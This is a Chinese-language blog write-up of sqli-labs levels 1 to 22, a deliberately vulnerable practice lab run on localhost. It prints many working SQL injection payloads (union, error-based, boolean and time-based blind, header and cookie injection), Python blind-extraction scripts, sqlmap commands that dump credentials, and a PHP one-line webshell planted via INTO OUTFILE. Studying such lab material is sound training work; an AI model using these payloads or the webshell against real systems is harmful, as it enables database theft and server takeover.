sqli-labs做题记录(一)

Basic Injections

 Von's Blog     2019-08-15   13278 words    & views

前言

这几天也算是为了记录自己的成长过程来更新sqli-labs的做题记录。不知道能不能更完,毕竟总共有65关。不管怎么样,努力做到不咕吧。
受限于篇幅设置,我对于每一关的原理肯定没有办法讲得特别详细,但我会尽量讲得通俗易懂,并且给出相应的参考文章。
同时,对于类型相同的题目,我尽量给出不同的解法,来充实,提高自己。

Less-1

这题的考点是union联合查询注入。 对于这种类型,我推荐小白可以去看看这两篇文章。
文章1 文章2
我们先来判断注入类型。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and 1=2 --+

经这两者判断,第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是单引号类型注入。 先判断字段数。依次递增order by 后面的数值。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 2 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 3 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1' order by 4 --+

发现3时不报错,而4时报错,所以字段数是3。
接下来用联合查询判断显示位。首先我们要让id变成一个不存在的值以便显示出来的值都是union语句执行的结果。在这里我们使用100。

http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,3 --+

可以看出,显示位为2和3。接下来便是常规操作:

爆库:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,database() --+
爆表:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
爆字段:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' --+
爆值:http://127.0.0.1/sqli-labs-master/Less-1/?id=100' union select 1,2,group_concat(username,0x3a,password,0x3c2f62723e) from security.users --+

至此,一次sql注入便完成了。

Less-2

这道题和上面那道其实很类似。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1 and 1=2 --+

第一种传入网站显示正常,第二种传入网站显示不正常。可以看出我们的语句已经被执行。因此说明是数值类型注入。
之后的注入类型与Less-1雷同(仅需把单引号去掉而已)。不再赘述。

Less-3

我们先传入id=1’,可以得到这样的报错信息。

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 

由此看出,我们需要闭合’).

http://127.0.0.1/sqli-labs-master/Less-1/?id=1') and 1=1 --+
http://127.0.0.1/sqli-labs-master/Less-1/?id=1') and 1=2 --+

经同上面的判断,可以看出代码已被执行。之后的注入过程雷同Less-1.

Less-4

我们传入id=1”,可以得到这样的报错信息。

 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1  

由此看出,我们需要闭合”)。之后的过程类似Less-1.


由此看出,这四题主要区别就是在闭合符号的区别,实际应用中我们一方面可以通过报错信息来判断需要闭合的符号。也可以采用burp suite跑字典来进行Fuzz。

Less-5

经过测试,该题没有显示位。故不能再使用union联合注入。应该考虑布尔盲注,延时注入和报错注入。由于此题存在报错反馈,于是我们采取报错注入。关于报错注入,可以看看我的这篇博客 网址

爆库:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

需要注意的是,输出的结果末端带有一个1,这个1是floor报错语句中输出的也一部分(无论输出什么结果,都会有这个1)。我们无视它就可以了。

爆表:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

在爆表的过程中发现它会爆出错误。 这里发现页面提示我输出信息超过一行,所以我们要采用limit语句来控制输出。于是有:

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 1,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 2,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 3,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆字段:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
爆值:http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and (select 1 from (select count(*),concat((select concat(username,0x3a,password) from security.users limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+
根据limit不断递增即可得到全部值。

这道题也可以采用布尔盲注(当然延时注入也可以,只不过延时注入我觉得比较高级一些,在下面的题目再讲) 布尔盲注是通过界面的变化来判断语句的执行结果(例如本题的you are in)。但是纯手工注入一般极其耗时(我当时有一次注了一个小时还没注完)
因此我们一般使用python脚本/burp suite/sqlmap来进行注入。
我在这里演示一种最简单的sqlmap法(懒。。。。)

判断能否注入:python2 sqlmap.py -u  "http://127.0.0.1/sqli-labs-master/Less-5/?id=1"

从图片可以看出,这里是存在注入的。

爆库:python2 sqlmap.py -u  "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --dbs
爆表:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security --tables
爆字段:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users --columns
爆值:python2 sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump

不得不说,虽然成为一名脚本小子不是我的本意,但是像sqlmap这样的软件还是大大提高了测试的效率(真香。。。)

Less-6

该题和Less-5几乎一样,唯一的区别就在于闭合符号的不同。在这里我演示一下利用burp suite进行Fuzz的过程。
我们先将传入的’设置为负载点。
再添加burp suite自带的sqli Fuzz字典。(当然字典也可以自己添加,GitHub上一大堆)
从攻击返回的测试结果中我们可以发现传入的参数为”时报错,也就说明我们需要闭合”。 之后的注入过程便雷同Less-5了。

Less-7

这题是有关文件读取与注入的。这种题目一般有两个难点。
1.要有读取文件的权限
2.要知道绝对物理路径
对于这道题,我们先经过fuzz确定需要闭合’))。又由于我们是本机操作所以默认知道了绝对路径。因此上传一句话木马。

http://127.0.0.1/sqli-labs-master/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“von”])?>' into outfile "C:\\AppServ\\www\\von.php"--+

之后使用中国菜刀连接即可getshell。
注意:地址中的每个\都要在前面加上另外一个\来转义

Less-8

经过简单测试,这道题我们需要闭合’。和Less-5一样没有显示位。但是和Less-5的区别在于过滤了报错语句,所以我们不能使用报错注入,只能使用布尔盲注和延时注入。在这里我们使用布尔盲注。我这里使用了一个半自动的脚本。

#布尔注入
import requests
url = "http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ord(substr(database(),{},1))={}--+"
result =""
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		r = requests.get(payload)
		if "are" in r.text:
			result += chr(j)
			print result
			break;

这个脚本没办法实现像sqlmap那样的全智能注入,需要你自己去构造payload,但无论如何,比起手工注入已经是大大提高了效率了。当然本题我们也可以采取用sqlmap跑,过程参考Less-5.

Less-9

这道题考的是延时注入。经测试,无论输入什么都是返回You are in…所以我们不能根据页面的返回来判断是否执行语句,也就是不能执行布尔注入。

http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and sleep(5)--+

我们先进行此语句,发现页面没有立刻返回,说明语句已经被执行。说明我们闭合正确了。我继续用了一个半自动的脚本。

#延时注入
import requests
import time
url = "http://127.0.0.1/sqli-labs-master/Less-9/?id=1' and if(ord(substr(database(),{},1))={},sleep(5),1)--+"
result  = ''
for i in range(1,10):
	for j in range(23,127):
		payload = url.format(i,j)
		time1 = time.time()
		r = requests.get(payload)
		time2 = time.time()
		time3 = time2 - time1
		if time3 > 4:
			result += chr(j)
			print result
			break

同样也可以使用sqlmap跑,最省事。

Less-10

首先测试闭合。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1' and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1') and sleep(5)--+
http://127.0.0.1/sqli-labs-master/Less-10/?id=1')) and sleep(5)--+

测试这上面三个发现都立刻加载出页面,说明语句没有被执行。再测试双引号发现可以被执行。

http://127.0.0.1/sqli-labs-master/Less-10/?id=1" and sleep(5)--+

之后的步骤和Less-9完全一样,不再赘述。

Less-11

从这关开始就进入post注入的范围了。但是其实post注入和get注入差别不大。
我们先对username传入admin’# ,密码随便输。可以发现我们登陆成功,显示出了admin账号的密码。接下来的注入过程类似Less-1。
先用order by判断出有两个字段。再依次对username进行传参。

username=admin' union select 1,database()#
username=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
username=1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#
username=1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#

至于这个过程,password可以随便输入。因为当你传进去username的参数后,后台的sql语句变成这样:

SELECT username, password FROM users WHERE username='1' union select 1,group_concat(username,0x3a,password,0x3c2f62723e) from security.users#' and password='$passwd' LIMIT 0,1

可以看出,password部分已经被我们注释掉了,从而达到了绕过的目的。

Less-12

这一关和Less-11几乎一样,只是闭合方式从’变成了”),改变闭合方式后剩余步骤模仿Less-11就行。 这里解释一下一个问题,就是我们对username传入1’ or 1=1#后发现我们是以dumb账号登陆。这里是因为他在语句后面加了limit限制只允许输出一条数据的原因,而dumb账号在表中的优先级是最高的,所以优先输出dumb账户的数据。

Less-13

经测试,可用’)来进行闭合,但是闭合后发现没有显示位,测试了一下发现可以使用报错注入。这次我使用extractvalue()报错。
依次对username进行传参。

username:1') and extractvalue(1,concat(1,database()))#
username:1') and extractvalue(1,concat(1,(select (table_name) from information_schema.tables where table_schema=database() limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select (column_name) from information_schema.columns where table_name='users' limit 0,1)))#
username:1') and extractvalue(1,concat(1,(select concat(username,0x3a,password) from security.users limit 1,1)))#

这道题走了蛮多坑的,主要是不太明白为什么报错的时候一定要用concat语句,直接extractvalue(1,database())为什么不行?把它换成group_concat似乎也行,
但是好像当我们要使用limit的时候有点麻烦(除非使用group by),所以在这里还是推荐使用使用concat语句。并且发现concat语句如果连接的是select语句,需要把语句以一个大括号包起来。至于第一个问题,如果有师傅了解的话,请告知我。

Less-14

这道题和上一道题基本一样,只不过把闭合从’)换成”而已。之后步骤模仿Less-13即可。

Less-15

页面有回显,但是无法使用报错注入。故使用布尔盲注。
这里继续用一个半自动的脚本来解决:

import requests
url = "http://127.0.0.1/sqli-labs-master/Less-15/"
result =""
for i in range(1,10):
	for j in range(65,150):
		payload1 = "admin'^(ascii(substr(database(),{},1))>{})^1#".format(i,j)
		payload2 = "admin'^(ascii(mid(database()from {}))>{})^1%23".format(i,j)
		data = {"uname":payload1,"passwd":"123"}
		r = requests.post(url,data=data)
		if "slap.jpg" in r.text:
			result += chr(j)
			print result
			break

Less-16

这道题和Less-15基本一样。只不过把闭合换成了”)而已,只需要更改脚本即可得出结果。

Less-17

这道题是update注入,从源码中可以知道其对username使用了check_input函数进行过滤,因此无法对username进行注入。应该从password入手。这里我采用updatexml()报错注入。

password:1' and updatexml(1,concat(1,database()),1)#
password:1' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)#
password:1' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#
password:1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from security.users limit 0,1)),1)#

注意:在查数据时会爆出”You can’t specify target table ‘users’ for update in FROM clause”的错误,就是说不能一边update一边select.这时候我们就需要通过建一张临时表来解决了。故语句如下:

1' and updatexml(1,concat(1,(select concat(username,0x3a,password) from (select * from security.users)a limit 0,1)),1)#

在注入过程中我们需要填入一个已经存在的usernam(如:admin)而不能留空,因为要先执行相应的select语句才会执行update语句。

Less-18

从这关开始是http头注入。尝试了各种注入手段以后都失败。看了WP才发现是要登陆后才能注入。。。。
查看源码。

 $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
	$result1 = mysql_query($sql);
	$row1 = mysql_fetch_array($result1);
		if($row1)
			{
			echo '<font color= "#FFFF00" font size = 3 >';
			$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
			mysql_query($insert);
			//echo 'Your IP ADDRESS is: ' .$IP;
			echo "</font>";
			//echo "<br>";
			echo '<font color= "#0000ff" font size = 3 >';			
			echo 'Your User Agent is: ' .$uagent;
			echo "</font>";
			echo "<br>";
			print_r(mysql_error());			
			echo "<br><br>";
			echo '<img src="../images/flag.jpg"  />';
			echo "<br>";
			
			}
		else
			{
			echo '<font color= "#0000ff" font size="3">';
			//echo "Try again looser";
			print_r(mysql_error());
			echo "</br>";			
			echo "</br>";
			echo '<img src="../images/slap.jpg"   />';	
			echo "</font>";  
			}

	}

并且发现username,password都被过滤了。发现在插入到uagents表时对参数没有过滤,因此我们可以在useragent处实现注入。只要先注释掉’就可以执行后面的语句了。用burp suite修改user agent。而至于为什么不能通过X-Forwarded-For修改IP来注入,是因为获取IP则使用了REMOTE_ADDR,这能直接获取TCP协议数据包的底层会话IP地址,它能被代理服务器或路由修改伪造,但非修改XFF头就可以更改的。
需要注意的是:这里我们不能直接将UA像之前的题目一样直接改为1’ and updatexml(1,concat(1,database()),1)#。这样的话会发现报错,下面我就来详细的讲解一下。
我们先来看一下sql语句。

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', '$uname')";

如果我们直接插入1’ and updatexml(1,concat(1,database()),1)#的话。语句将变成:

INSERT INTO 'security'.'ugents'('uagent','ip_address','username') VALUES ('1' and updatexml(1,concat(1,database()),1)#','$IP','$uname')

这样将使后面的IP和username被注释掉了无法插入表,而且VALUES后面的)也没办法闭合导致无法注入。
所以我们需要去将)闭合。我这里给出一个例子:

1',updatexml(1,concat(1,database()),1),1)#

这里我们相当于将我们的报错语句插入到了’$IP’中。
后面对于表名,字段名,数据的注入自行更改中间的报错语句即可。

Less-19

这道题和上面一道题很像,登陆后发现他有显示Refer地址和IP地址(这关我演示以下不通过查看源代码所进行的(伪)黑盒测试)。
首先我们要判断闭合方式。
1.当我们将Refer改为1’时发现报错,猜测闭合方式类似’$IP’

  1. 猜测INSERT语句类似上一关
    insert into table values('UA','IP','username')
    

    将Refer改为:

    1',updatexml(1,concat(1,database()),1),1)#
    

    3.发现报错Column count doesn’t match value count at row 1,这是INSERT语句时前后列数不同造成的,也就是可能并没有要我们插入三个字段。 猜测语句可能为:

    insert into table values('UA','IP')
    

    构造Refer为:1’,updatexml(1,concat(1,database()),1))#,发现成功注入。接下来爆表,爆字段,爆值等过程参考之前的关卡。

Less-20

这题目告诉你是cookie注入。登录后使用cookie伪造即可。将cookie改为:

uname=admin' and updatexml(1,concat(1,database()),1),1)#

发现可以成功报错。接着依次爆表,爆字段,爆值即可。

Less-21

发现题目对cookie进行了base64处理,我们模仿即可。 对admin’ and updatexml(1,concat(1,database()),1),1)#进行base64编码:

YWRtaW4lMjclMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=

传参即可得到库名,之后过程不赘述。

Less-22

这道题和Less-21基本一样,将闭合改为”即可。
对admin” and updatexml(1,concat(1,database()),1),1)#进行base64编码:

YWRtaW4lMjIlMjBhbmQlMjB1cGRhdGV4bWwlMjgxJTJDY29uY2F0JTI4MSUyQ2RhdGFiYXNlJTI4JTI5JTI5JTJDMSUyOSUyQzElMjklMjM=

传参即可得到库名,之后过程不赘述。